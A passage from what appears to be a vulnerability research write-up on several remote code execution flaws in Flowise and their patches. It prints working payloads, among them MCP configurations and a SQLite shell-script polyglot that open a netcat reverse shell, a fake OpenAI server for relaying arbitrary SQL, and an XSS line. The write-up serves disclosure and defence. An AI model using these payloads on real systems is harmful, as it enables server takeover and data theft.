We recommended that Flowise migrate to a more secure JavaScript sandbox, such as isolated-vm, which the vm2 maintainers themselves recommend as a more robust alternative. Flowise instead opted for the simpler fix of retaining vm2 and removing moment from the list of allowed sandbox dependencies. Although we did not identify a new sandbox escape via the remaining axios and node-fetch dependencies, we continue to discourage reliance on vm2, given how frequently new escapes are discovered in it.

RCE via Environment Variable Injection into MCP Configurations

Flowise supports connecting to custom Model Context Protocol (MCP) servers via the "Custom MCP" node, which leverages the @modelcontextprotocol/sdk dependency. By default, the CUSTOM_MCP_PROTOCOL=stdio environment variable enables the use of the StdioClientTransport MCP client on a Custom MCP Config node, which is susceptible to RCE as previously mentioned in this article. It was apparent from reviewing the code that Flowise's maintainers were aware of this risk, given the validation checks that are enabled by default. The following snippet shows some of these checks.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/tools/MCP/core.ts


export const validateArgsForLocalFileAccess = (args: string[]): void => {
    const dangerousPatterns = [
        // Absolute paths
        /^\//, // Unix absolute paths starting with / <1>
        /^[a-zA-Z]:\\/, // Windows absolute paths like C:\

        // Relative paths that could escape current directory
        /\.\.\//, // Parent directory traversal with ../
        /\.\.\\/, // Parent directory traversal with ..\
        /^\.\./, // Starting with ..

        // Local file access patterns
        /^\.\//, // Current directory with ./
        /^~\//, // Home directory with ~/
        /^file:\/\//, // File protocol

        // Common file extensions that shouldn't be accessed
        /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,

        // File flags and options that could access local files
        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
    ]

    for (const arg of args) {
        if (typeof arg !== 'string') continue

        // Check for dangerous patterns
        for (const pattern of dangerousPatterns) {
            if (pattern.test(arg)) {
                throw new Error(`Argument contains potential local file access: "${arg}"`)
            }
        }
        ...
    }
}
...
export const validateEnvironmentVariables = (env: Record<string, any>): void => {
    const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS'] <2>

    for (const [key, value] of Object.entries(env)) {
        if (dangerousEnvVars.includes(key)) {
            throw new Error(`Environment variable '${key}' modification is not allowed`)
        }

        if (typeof value === 'string' && value.includes('\0')) {
            throw new Error(`Environment variable '${key}' contains null byte`)
        }
    }
}

...

export const validateMCPServerConfig = (serverParams: any): void => {
    // Validate the entire server configuration
    if (!serverParams || typeof serverParams !== 'object') {
        throw new Error('Invalid server configuration')
    }

    // Command allowlist - only allow specific safe commands
    const allowedCommands = ['node', 'npx', 'python', 'python3', 'docker'] <3>

    if (serverParams.command && !allowedCommands.includes(serverParams.command)) {
        throw new Error(`Command '${serverParams.command}' is not allowed. Allowed commands: ${allowedCommands.join(', ')}`)
    }

    // Validate arguments if present
    if (serverParams.args && Array.isArray(serverParams.args)) {
        validateArgsForLocalFileAccess(serverParams.args)
        validateCommandInjection(serverParams.args)

        // Validate command-specific dangerous flags
        if (serverParams.command) {
            validateCommandFlags(serverParams.command, serverParams.args)
        }
    }

    // Validate environment variables
    if (serverParams.env) {
        validateEnvironmentVariables(serverParams.env)
    }
}

<1> Disallows absolute UNIX paths for the input script file.

<2> Inadequate denylist of dangerous environment variables.

<3> Allows the use of the node and python3 commands.

From our previous research on exploiting environment variables, it was evident that the environment variable denylist was insufficient to prevent remote execution of arbitrary code. However, perl — our original method for achieving RCE when users could control python environment variables — was not installed on the flowiseai/flowise:3.1.2 Docker image. Since our prior research, @joern improved upon our findings, identifying a method that does not require perl, as shown below.


PYTHONWARNINGS='module::antigravity.' BROWSER='sh -c id #%s' python whatever.py

We utilised @joern's method in the following MCP configuration payload; the GIF below demonstrates achieving RCE.


{
	"command": "python3",
	"args": [],
	"env": {
		"PYTHONWARNINGS": "module::antigravity.",
	    "BROWSER": "sh -c '/usr/bin/nc 172.17.0.1 1337 -e /bin/sh' #%s"
	}
}

Alternatively, we observed that the spawned MCP server process on the flowiseai/flowise:3.1.2 Docker image did not set the WORKDIR and defaulted to / as the working directory, allowing the use of relative paths to access arbitrary files on the filesystem and bypass Flowise’s absolute path validation checks. We exploited this by setting the input script for the node command to proc/self/environ and overwriting the HOME environment variable, transforming /proc/self/environ into a valid JavaScript file. This technique is demonstrated in the MCP configuration and GIF below.


{
	"command": "node",
	"args": ["proc/self/environ"],
	"env": {
        "HOME": "console.log(require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh').toString());//"
	}
}

Official Patch

This issue was patched in PR #6471, which introduced an allowlist for permitted environment variables and changed the default transport mode from the insecure stdio to sse. We consider this sufficient to resolve the issue, as users must now explicitly opt into the insecure transport by setting CUSTOM_MCP_PROTOCOL=stdio.

However, we found a way to bypass the new environment variable allowlist when CUSTOM_MCP_PROTOCOL=stdio was set.

As noted earlier, the Dockerfile published to Flowise's Docker registry does not set a WORKDIR, leaving it at the default of /. This let us bypass the allowlist by reusing the file upload technique from the vm2 sandbox escape section to execute an uploaded JavaScript file, as shown in the following payload.


{
  "command": "node",
  "args": ["root/.flowise/storage/{organisationId}/docustore/{storeId}/rce.js"]
}

RCE via TypeORM DataSource Options

The following nodes permitted users to specify arbitrary options for the TypeORM DataSource class via the additionalConfig node input:

Reviewing the documentation for DataSource options revealed that the entities, subscribers, and migrations options could be exploited to achieve RCE by reading a local JavaScript file. We then applied the same local file-saving technique described in our vm2 sandbox escape vulnerability to exploit the insecure usage of the TypeORM DataSource class, as shown in the following additionalConfig payload and GIF.


{
    "entities": [
        "${HOME}/.flowise/storage/${orgID}/docustore/${storeId}/rce.js"
    ]
}

Official Patch

This issue was resolved in PR #6464, which introduced a denylist blocking dangerous TypeORM DataSource options such as entities, subscribers, and migrations. While this mitigation prevents our reported payloads, the RCE could resurface if a future TypeORM release introduces a new dangerous option not covered by the denylist.

RCE via the SQL Database Chain Node

Flowise enables the creation of database agents by leveraging LangChain's SqlDatabaseChain through its "Sql Database Chain" node. The Sql Database Chain node allowed users to connect to a local SQLite database with a user provided file path without input validation, as shown in the code snippet below.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts


class SqlDatabaseChain_Chains implements INode {
    label: string
    name: string
    version: number
    type: string
    icon: string
    category: string
    baseClasses: string[]
    description: string
    inputs: INodeParams[]

    constructor() {
        this.label = 'Sql Database Chain'
        this.name = 'sqlDatabaseChain'
        ...
        this.inputs = [
            {
                label: 'Language Model',
                name: 'model',
                type: 'BaseLanguageModel'
            },
            {
                label: 'Database',
                name: 'database',
                type: 'options',
                options: [
                    {
                        label: 'SQLite', 
                        name: 'sqlite' <1>
                    },
                    {
                        label: 'PostgreSQL',
                        name: 'postgres'
                    },
                    {
                        label: 'MSSQL',
                        name: 'mssql'
                    },
                    {
                        label: 'MySQL',
                        name: 'mysql'
                    }
                ],
                default: 'sqlite'
            },
            {
                label: 'Connection string or file path (sqlite only)',
                name: 'url', <2>
                type: 'string',
                placeholder: '127.0.0.1:5432/chinook' 
            },
            ...
        ]
    }

    async init(nodeData: INodeData): Promise<any> {
        const databaseType = nodeData.inputs?.database as DatabaseType <1>
        const model = nodeData.inputs?.model as BaseLanguageModel
        const url = nodeData.inputs?.url as string <2>
        const includesTables = nodeData.inputs?.includesTables
        const splittedIncludesTables = includesTables == '' ? undefined : includesTables?.split(',')
        const ignoreTables = nodeData.inputs?.ignoreTables
        const splittedIgnoreTables = ignoreTables == '' ? undefined : ignoreTables?.split(',')
        const sampleRowsInTableInfo = nodeData.inputs?.sampleRowsInTableInfo as number
        const topK = nodeData.inputs?.topK as number
        const customPrompt = nodeData.inputs?.customPrompt as string

        const chain = await getSQLDBChain(
            databaseType,
            url,
            model,
            splittedIncludesTables,
            splittedIgnoreTables,
            sampleRowsInTableInfo,
            topK,
            customPrompt
        )
        return chain
    }

    ...
}

const getSQLDBChain = async (
    databaseType: DatabaseType,
    url: string,
    llm: BaseLanguageModel,
    includesTables?: string[],
    ignoreTables?: string[],
    sampleRowsInTableInfo?: number,
    topK?: number,
    customPrompt?: string
) => {
    const datasource = new DataSource(
        databaseType === 'sqlite' <1>
            ? {
                  type: databaseType,
                  database: url <2>
              }
            : ({
                  type: databaseType,
                  url: url
              } as DataSourceOptions)
    )

    const db = await SqlDatabase.fromDataSourceParams({
        appDataSource: datasource,
        includesTables: includesTables,
        ignoreTables: ignoreTables,
        sampleRowsInTableInfo: sampleRowsInTableInfo
    })

    const obj: SqlDatabaseChainInput = {
        llm,
        database: db,
        verbose: process.env.DEBUG === 'true' ? true : false,
        topK: topK
    }

    if (customPrompt) {
        customPrompt = transformBracesWithColon(customPrompt)
        const options: PromptTemplateInput = {
            template: customPrompt,
            inputVariables: getInputVariables(customPrompt)
        }
        obj.prompt = new PromptTemplate(options)
    }

    const chain = new SqlDatabaseChain(obj) <3>
    return chain
}

<1> Allows connecting to a local SQLite database.

<2> Allows the user to provide a file path without validation.

<3> Initialises an instance of LangChain's SqlDatabaseChain.

Allowing connections to a local SQLite database without path validation introduced a critical security risk, as an attacker could write a malicious SQLite database to arbitrary file system locations. Furthermore, the flowiseai/flowise:3.1.2 Docker image runs as root, as shown in the Dockerfile below, granting write access to the entire file system.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/docker/Dockerfile


# Stage 1: Build stage
FROM node:20-alpine AS build

USER root

# Skip downloading Chrome for Puppeteer (saves build time)
ENV PUPPETEER_SKIP_DOWNLOAD=true

# Install latest Flowise globally (specific version can be set: flowise@1.0.0)
RUN npm install -g flowise

# Stage 2: Runtime stage
FROM node:20-alpine <1>

# Install runtime dependencies
RUN apk add --no-cache chromium git python3 py3-pip make g++ build-base cairo-dev pango-dev curl

# Set the environment variable for Puppeteer to find Chromium
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser

# Copy Flowise from the build stage
COPY --from=build /usr/local/lib/node_modules /usr/local/lib/node_modules
COPY --from=build /usr/local/bin /usr/local/bin

ENTRYPOINT ["flowise", "start"]

<1> Default user for the node:20-alpine image was root and the current user was not changed to a low-privileged user.

However, the following caveats made exploiting the arbitrary file write of SQLite databases more complex:

  • The SQL Database Chain node required a BaseLanguageModel input to analyse user prompts and generate SQL queries for execution on the connected database. While Large Language Models (LLMs) could potentially generate malicious SQL queries, most include built-in moderation controls that complicate exploitation.
  • The SQLite driver did not allow overwriting non-SQLite database files.
  • The writefile and load_extension SQLite functions were not enabled, which could have been leveraged to achieve RCE.
  • SQLite databases include a SQLite format 3 magic byte header, which can corrupt most other file types.
  • Created SQLite database files did not have the execute permission set, which could have enabled writing a malicious program to a path in the PATH environment variable.

To bypass LLM moderation controls and execute arbitrary SQL queries on the connected SQLite database, we leveraged the basepath input on an OpenAI node to connect to a web server hosting the below Python code that echoed the SQL query from the input prompt.


from http.server import BaseHTTPRequestHandler, HTTPServer
import json

PORT = 1234

RESPONSE_TMPL = """{
  "id": "chatcmpl-DVcMdeEKg78Mvhjmik2QGrWmmNTz8",
  "object": "chat.completion",
  "created": 1776428011,
  "model": "gpt-4o-mini-2024-07-18",
  "choices": [
    {
      "index": 0,
      "message": {
        "role": "assistant",
        "content": "",
        "refusal": null,
        "annotations": []
      },
      "logprobs": null,
      "finish_reason": "stop"
    }
  ],
  "usage": {
    "prompt_tokens": 57,
    "completion_tokens": 7,
    "total_tokens": 64,
    "prompt_tokens_details": {
      "cached_tokens": 0,
      "audio_tokens": 0
    },
    "completion_tokens_details": {
      "reasoning_tokens": 0,
      "audio_tokens": 0,
      "accepted_prediction_tokens": 0,
      "rejected_prediction_tokens": 0
    }
  },
  "service_tier": "default",
  "system_fingerprint": "fp_2153ead53d"
}"""

class FakeOpenAIHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        print("received connection")
        content_length = int(self.headers.get("Content-Length"))
        req = self.rfile.read(content_length).decode()
        req_json = json.loads(req)
        print(json.dumps(req_json, indent=4))
        sql = req_json["messages"][0]["content"].split("---")[0]
        sql = sql.replace("\n", "")
        sql = sql.replace('"', '\\"')
        print(f"responding sql: {sql}")
        resp = RESPONSE_TMPL.replace("", sql).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        print(resp.decode())
        print(json.dumps(json.loads(resp.decode()), indent=4))
        self.wfile.write(resp)
        return
    
if __name__ == "__main__":
    httpd = HTTPServer(("0.0.0.0", PORT), FakeOpenAIHandler)
    httpd.serve_forever()

Our initial method to demonstrate impact involved directly connecting to /root/.flowise/database.sqlite, but this only applied to default Docker deployments that had not modified the DATABASE_TYPE environment variable. Alternatively, we demonstrated stored Cross-Site Scripting by writing the SQLite database as a .html file to /usr/local/lib/node_modules/flowise/node_modules/flowise-ui/build/(the directory for the frontend code), as shown in the following SQL and GIF, but we believed we could achieve a more significant impact than an XSS with this arbitrary file write.


CREATE TABLE poc AS SELECT '<html><body><script>alert(document.domain)</script></body></html>' AS data;

Our next approach focused on writing a malicious Embedded JavaScript (ejs) template, as ejs templates are not affected by the SQLite format 3 magic byte header and the ejs module was included as a transitive dependency. Of particular interest was the @bull-board/express dependency, which was loaded by Flowise when MODE=queue and ENABLE_BULLMQ_DASHBOARD=true are set. It used the ejs template engine, but unfortunately only the @bull-board/ui/index.ejs view was loaded by default, which we could not overwrite.

Since the ejs attack vector was not viable, we shifted our investigation to identify directories in the Flowise container that loaded shell scripts via source, which does not require execute file permissions. This led to the discovery of the /etc/chromium/chromium.conf file that is shown below, which is sourced when the Chromium browser is launched.


 Default settings for chromium. This file is sourced by /bin/sh from
# the chromium launcher.

# Options to pass to chromium.
CHROMIUM_FLAGS="--ozone-platform-hint=auto"

Further review of the /usr/bin/chromium-browser executable revealed it was a symbolic link to /usr/lib/chromium/chromium-launcher.sh (shown below), which sourced all /etc/chromium/*.conf files.


#!/bin/sh

for f in /etc/chromium/*.conf; do
  [ -f "$f" ] && . "$f" <1>
done

# Append CHROMIUM_USER_FLAGS (from env) on top of system
# default CHROMIUM_FLAGS (from /etc/chromium/chromium.conf).
CHROMIUM_FLAGS="$CHROMIUM_FLAGS ${CHROMIUM_USER_FLAGS:+"$CHROMIUM_USER_FLAGS"}"

# Let the wrapped binary know that it has been run through the wrapper
export CHROME_WRAPPER="$(readlink -f "$0")"

PROGDIR=${CHROME_WRAPPER%/*}

case ":$PATH:" in
*:$PROGDIR:*)
  # $PATH already contains $PROGDIR
  ;;
*)
  # Append $PROGDIR to $PATH
  export PATH="$PATH:$PROGDIR"
  ;;
esac

if [ $(id -u) -eq 0 ] && [ $(stat -c %u -L ${XDG_CONFIG_HOME:-${HOME}}) -eq 0 ]; then
  # Running as root with HOME owned by root.
  # Pass --user-data-dir to work around upstream failsafe.
  CHROMIUM_FLAGS="--user-data-dir=${XDG_CONFIG_HOME:-"$HOME"/.config}/chromium $CHROMIUM_FLAGS"
fi

# Set the .desktop file name
export CHROME_DESKTOP="chromium.desktop"
export CHROME_VERSION_EXTRA="Alpine Linux"

exec "$PROGDIR/chromium" ${CHROMIUM_FLAGS} "$@"

<1> Uses source to load all .conf files in the /etc/chromium/ folder.

We then discovered there was a Puppeteer Web Scraper node on Flowise, where Puppeteer was configured to launch /usr/bin/chromium-browser via the PUPPETEER_EXECUTABLE_PATH environment variable.

The next challenge was identifying a method to craft a SQLite database containing a reverse shell payload that would execute when sourced by chromium-launcher.sh. We addressed this by embedding command substitution within a SQLite table name, ensuring the payload executes before sh encounters syntax errors while parsing the remaining database content. The following SQL demonstrates how to create the SQLite database and shell script polyglot file.


CREATE TABLE `$(/usr/bin/nc${IFS}172.17.0.1${IFS}1337${IFS}-e${IFS}/bin/sh) # ` AS SELECT 'shell' AS 'polyglot';

To chain the full exploit together, we first created a Chatflow that leveraged the SQL Database Chain node to write a crafted SQLite database to /etc/chromium/exploit.conf. The RCE payload was subsequently triggered when /usr/bin/chromium-browser was executed by a Puppeteer Web Scraper node in a separate Chatflow, as demonstrated in the following GIF.

Bypassing the Initial Patch

We were able to bypass Flowise's patch (PR #6464) for this RCE vulnerability. Unfortunately, Flowise had opted to defer patching the bypass, and no fix had been deployed at the time of publishing.

As this bypass remains unpatched, we have withheld the technical details from this article and left it as an exercise for the reader.

RCE via the SQLite Record Manager Node

After demonstrating the RCE impact in the SQL Database Chain node, we observed that the SQLite Record Manager node contained a similar weakness: the database property could be overwritten via the additionalConfig input, as shown in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts


class SQLiteRecordManager_RecordManager implements INode {
    ...
    async init(nodeData: INodeData, _: string, options: ICommonObject): Promise<any> {
        const _tableName = nodeData.inputs?.tableName as string
        const tableName = _tableName ? _tableName : 'upsertion_records'
        const additionalConfig = nodeData.inputs?.additionalConfig as string <1>
        const _namespace = nodeData.inputs?.namespace as string
        const namespace = _namespace ? _namespace : options.chatflowid
        const cleanup = nodeData.inputs?.cleanup as string
        const _sourceIdKey = nodeData.inputs?.sourceIdKey as string
        const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source'

        let additionalConfiguration = {}
        if (additionalConfig) {
            try {
                additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig)
            } catch (exception) {
                throw new Error('Invalid JSON in the Additional Configuration: ' + exception)
            }
        }

        const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>

        const sqliteOptions = {
            database,
            ...additionalConfiguration, <3>
            type: 'sqlite'
        }

        const args = {
            sqliteOptions,
            tableName: tableName
        }

        const recordManager = new SQLiteRecordManager(namespace, args)

        ;(recordManager as any).cleanup = cleanup
        ;(recordManager as any).sourceIdKey = sourceIdKey

        return recordManager
    }
}

<1> The additionalConfig input was user controllable.

<2> The intended SQLite database path.

<3> Keyword argument expansion of the additionalConfiguration variable was performed after the database variable, which allows overwriting the preceding database setting.

Once again, we were able to write a SQLite database file to an arbitrary location on the file system. However, the payload used for the SQL Database Chain node could not be applied to the SQLite Record Manager node, as we did not have direct control over the executed SQL statements and the tableName input was restricted by the /^[a-zA-Z0-9_]+$/ validation pattern, as shown in the code snippet below.

https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts


class SQLiteRecordManager implements RecordManagerInterface {
    ...

    sanitizeTableName(tableName: string): string {
        // Trim and normalize case, turn whitespace into underscores
        tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_')

        // Validate using a regex (alphanumeric and underscores only)
        if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { <1>
            throw new Error('Invalid table name')
        }

        return tableName
    }

    ...

    async createSchema(): Promise {
        const dataSource = await this.getDataSource()
        try {
            const queryRunner = dataSource.createQueryRunner()
            const tableName = this.sanitizeTableName(this.tableName) <1>

            await queryRunner.manager.query(` <2>
CREATE TABLE IF NOT EXISTS "${tableName}" (
  uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),
  key TEXT NOT NULL,
  namespace TEXT NOT NULL,
  updated_at REAL NOT NULL,
  group_id TEXT,
  UNIQUE (key, namespace)
);
CREATE INDEX IF NOT EXISTS updated_at_index ON "${tableName}" (updated_at);
CREATE INDEX IF NOT EXISTS key_index ON "${tableName}" (key);
CREATE INDEX IF NOT EXISTS namespace_index ON "${tableName}" (namespace);
CREATE INDEX IF NOT EXISTS group_id_index ON "${tableName}" (group_id);`)

            // Add doc_id column if it doesn't exist (migration for existing tables)
            const checkColumn = await queryRunner.manager.query(
                `SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';`
            )
            if (checkColumn[0].count === 0) {
                await queryRunner.manager.query(`ALTER TABLE "${tableName}" ADD COLUMN doc_id TEXT;`)
                await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON "${tableName}" (doc_id);`)
            }

            await queryRunner.release()
        } catch (e: any) {
            // This error indicates that the table already exists
            // Due to asynchronous nature of the code, it is possible that
            // the table is created between the time we check if it exists
            // and the time we try to create it. It can be safely ignored.
            if ('code' in e && e.code === '23505') {
                return
            }
            throw e
        } finally {
            await dataSource.destroy()
        }
    }

    ...

    async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise {
        if (keys.length === 0) {
            return
        }
        const dataSource = await this.getDataSource()
        const queryRunner = dataSource.createQueryRunner()
        const tableName = this.sanitizeTableName(this.tableName)

        const updatedAt = await this.getTime()
        const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}

        if (timeAtLeast && updatedAt < timeAtLeast) {
            throw new Error(`Time sync issue with database ${updatedAt} < ${timeAtLeast}`)
        }

        // Handle both new format (objects with uid and docId) and old format (strings)
        const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0]
        const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[])
        const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)

        const groupIds = _groupIds ?? keyStrings.map(() => null)

        if (groupIds.length !== keyStrings.length) {
            throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)
        }

        const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>

        const query = `
        INSERT INTO "${tableName}" (key, namespace, updated_at, group_id, doc_id)
        VALUES (?, ?, ?, ?, ?)
        ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`

        try {
            // To handle multiple files upsert
            for (const record of recordsToUpsert) {
                // Consider using a transaction for batch operations
                await queryRunner.manager.query(query, record.flat())
            }
            await queryRunner.release()
        } catch (error) {
            console.error('Error updating in SQLiteRecordManager:')
            throw error
        } finally {
            await dataSource.destroy()
        }
    }
    ...
}

<1> Validates the tableName input matches the regex pattern /^[a-zA-Z0-9_]+$/.

<2> The SQL command creating the database table, which is not user controllable.

<3> The this.namespace is a user controllable input for the node.

This presents a challenge, as the CREATE SQL statement embedded within the SQLite database includes () characters, which result in syntax errors when the file is interpreted as a shell script. The hexdump output below shows this for a SQLite database created using the default upsertion_records table name for the SQLite Record Manager node.


00000de0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000df0: 0000 0000 0000 6204 0617 252f 017f 696e  ......b...%/..in
00000e00: 6465 7864 6f63 5f69 645f 696e 6465 7875  dexdoc_id_indexu
00000e10: 7073 6572 7469 6f6e 5f72 6563 6f72 6473  psertion_records
00000e20: 0543 5245 4154 4520 494e 4445 5820 646f  .CREATE INDEX do
00000e30: 635f 6964 5f69 6e64 6578 204f 4e20 2275  c_id_index ON "u
00000e40: 7073 6572 7469 6f6e 5f72 6563 6f72 6473  psertion_records
00000e50: 2220 2864 6f63 5f69 6429 8215 0107 172f  " (doc_id)...../
00000e60: 2f01 8359 7461 626c 6575 7073 6572 7469  /..Ytableupserti
00000e70: 6f6e 5f72 6563 6f72 6473 7570 7365 7274  on_recordsupsert
00000e80: 696f 6e5f 7265 636f 7264 7302 4352 4541  ion_records.CREA
00000e90: 5445 2054 4142 4c45 2022 7570 7365 7274  TE TABLE "upsert
00000ea0: 696f 6e5f 7265 636f 7264 7322 2028 0a20  ion_records" (. 
00000eb0: 2075 7569 6420 5445 5854 2050 5249 4d41   uuid TEXT PRIMA
00000ec0: 5259 204b 4559 2044 4546 4155 4c54 2028  RY KEY DEFAULT (
00000ed0: 6c6f 7765 7228 6865 7828 7261 6e64 6f6d  lower(hex(random
00000ee0: 626c 6f62 2831 3629 2929 292c 0a20 206b  blob(16)))),.  k
00000ef0: 6579 2054 4558 5420 4e4f 5420 4e55 4c4c  ey TEXT NOT NULL
00000f00: 2c0a 2020 6e61 6d65 7370 6163 6520 5445  ,.  namespace TE
00000f10: 5854 204e 4f54 204e 554c 4c2c 0a20 2075  XT NOT NULL,.  u
00000f20: 7064 6174 6564 5f61 7420 5245 414c 204e  pdated_at REAL N
00000f30: 4f54 204e 554c 4c2c 0a20 2067 726f 7570  OT NULL,.  group
00000f40: 5f69 6420 5445 5854 2c20 646f 635f 6964  _id TEXT, doc_id
00000f50: 2054 4558 542c 0a20 2055 4e49 5155 4520   TEXT,.  UNIQUE 
00000f60: 286b 6579 2c20 6e61 6d65 7370 6163 6529  (key, namespace)
00000f70: 0a29 4103 0617 552f 0100 696e 6465 7873  .)A...U/..indexs
00000f80: 716c 6974 655f 6175 746f 696e 6465 785f  qlite_autoindex_
00000f90: 7570 7365 7274 696f 6e5f 7265 636f 7264  upsertion_record
00000fa0: 735f 3275 7073 6572 7469 6f6e 5f72 6563  s_2upsertion_rec
00000fb0: 6f72 6473 0441 0206 1755 2f01 0069 6e64  ords.A...U/..ind
00000fc0: 6578 7371 6c69 7465 5f61 7574 6f69 6e64  exsqlite_autoind
00000fd0: 6578 5f75 7073 6572 7469 6f6e 5f72 6563  ex_upsertion_rec
00000fe0: 6f72 6473 5f31 7570 7365 7274 696f 6e5f  ords_1upsertion_
00000ff0: 7265 636f 7264 7303 0000 0008 0000 0000  records.........
00001000: 0d00 0000 010f a200 0fa2 0000 0000 0000  ................

The original SQLite payload mitigated this by constructing the CREATE statement as a single line and embedding a # comment within the table name to neutralize the problematic () characters. However, this technique is not viable for the SQLite Record Manager node due to regex table name validation.

We further investigated the raw structure of SQLite database files and used Claude to summarise the cell structure of the doc_id_index entry containing the problematic () characters that is shown below.


Bytes         Raw    Decoded
──────────────────────────────────────────────────
[3574:3575]   62     payload length = 98
[3575:3576]   04     rowid = 4

── Record Header ──────────────────────────────
[3576:3577]   06     header length = 6
[3577:3578]   17     col 0 = 23  → TEXT 5 bytes   ('index')
[3578:3579]   25     col 1 = 37  → TEXT 12 bytes  ('doc_id_index')
[3579:3580]   2f     col 2 = 47  → TEXT 17 bytes  ('upsertion_records') <1>
[3580:3581]   01     col 3 = 1   → INT8 1 byte
[3581:3582]   7f     col 4 = 127 → TEXT 57 bytes  (CREATE INDEX sql)

── Record Body ────────────────────────────────
[3582:3587]   696e646578     col 0 = 'index'
[3587:3599]   646f635f69…    col 1 = 'doc_id_index'
[3599:3616]   757073657274…  col 2 = 'upsertion_records'
[3616:3617]   05             col 3 = 5  (root page = page 5)
[3617:3674]   43524541544…   col 4 = 'CREATE INDEX doc_id_index ON "upsertion_records" (doc_id)'

<1> \x2f serial type corresponds to a TEXT value that is 17 bytes long.

Of particular interest was the length of the header for the table name, where \x2f is a varint that decodes to the integer 47. In SQLite, these varints are referred to as serial types, which encode both the data type and, for TEXT and BLOB values, the byte length. Since 47 is odd and greater than 13, it is a TEXT type with a decoded byte length of 47−132=17\frac{47 - 13}{2} = 17247−13​=17 (the length of upsertion_records). We identified that the character ' (\x27) decodes to a valid TEXT serial type with a corresponding length of 13 bytes, as demonstrated by the following script.


def decode_varint(data: bytes, offset: int = 0) -> tuple[int, int]:
    result = 0

    for i in range(9):
        byte = data[offset + i]

        if i < 8:
            result = (result << 7) | (byte & 0x7F)
            if not (byte & 0x80):
                return result, i + 1
        else:
            result = (result << 8) | byte
            return result, 9

    return result, 9

def text_serial_to_length(n):
    return int((n - 13) / 2);

input_bytes = b"'"

decoded = decode_varint(input_bytes)
# Output: byte length for varint of b"'": 13
print(f"byte length for varint of {input_bytes}: {text_serial_to_length(decoded[0])}"

By setting the tableName input to a 13-byte string, we are able to inject a ' character into the record header, effectively wrapping the problematic section containing the () characters. The quote is then closed using the namespace input. This allows a reverse shell payload to be injected via namespace after the closing quote, enabling arbitrary command execution when the SQLite database is interpreted as a shell script during Puppeteer startup, as described in the previous section. The following GIF demonstrates this full exploit chain.

Official Patch

This vulnerability was resolved by the following validateSQLitePath function, introduced in PR #6464 to mitigate arbitrary file write against SQLite databases.

https://github.com/FlowiseAI/Flowise/blob/dd780d8709da05db597ed79bbf2832995b0f484e/packages/components/src/validator.ts


onst getAllowedSQLiteBaseDirs = (): string[] => {
    const dirs = [path.join(getUserHome(), '.flowise')] <1>
    if (process.env.DATABASE_PATH) {
        dirs.push(path.resolve(process.env.DATABASE_PATH))
    }
    return dirs
}

const normalizePlatformPath = (p: string): string => {
    const n = path.normalize(p)
    return process.platform === 'win32' ? n.toLowerCase() : n
}

const isPathWithinAllowedSQLiteDirs = (resolvedPath: string, allowedDirs: string[]): boolean => {
    const normalizedResolved = normalizePlatformPath(resolvedPath)
    return allowedDirs.some((allowedDir) => {
        const normalizedAllowed = normalizePlatformPath(allowedDir)
        return normalizedResolved === normalizedAllowed || normalizedResolved.startsWith(normalizedAllowed + path.sep)
    })
}

/**
 * Validates and sanitizes a SQLite database file path to prevent path traversal
 * and arbitrary file write attacks.
 *
 * Relative paths are resolved within ~/.flowise/. Absolute paths must fall inside
 * ~/.flowise/ or DATABASE_PATH when set. Set PATH_TRAVERSAL_SAFETY=false to bypass all checks (not recommended).
 *
 * @param {string | undefined} userProvidedPath - File path supplied by the user in the node config
 * @returns {string} A validated, absolute path within an allowed base directory
 * @throws {Error} If the path is missing, contains traversal patterns, or is outside allowed directories
 */
export const validateSQLitePath = (userProvidedPath: string | undefined): string => {
    const allowedDirs = getAllowedSQLiteBaseDirs()
    const defaultDir = allowedDirs[0]

    if (process.env.PATH_TRAVERSAL_SAFETY === 'false') {
        if (!userProvidedPath || userProvidedPath.trim() === '') {
            return path.join(defaultDir, 'database.sqlite')
        }
        const bypassPath = userProvidedPath.trim()
        return path.isAbsolute(bypassPath) ? bypassPath : path.resolve(path.join(defaultDir, bypassPath))
    }

    if (!userProvidedPath || userProvidedPath.trim() === '') {
        throw new Error('Invalid SQLite path: database path is required')
    }

    const basePath = userProvidedPath.trim()

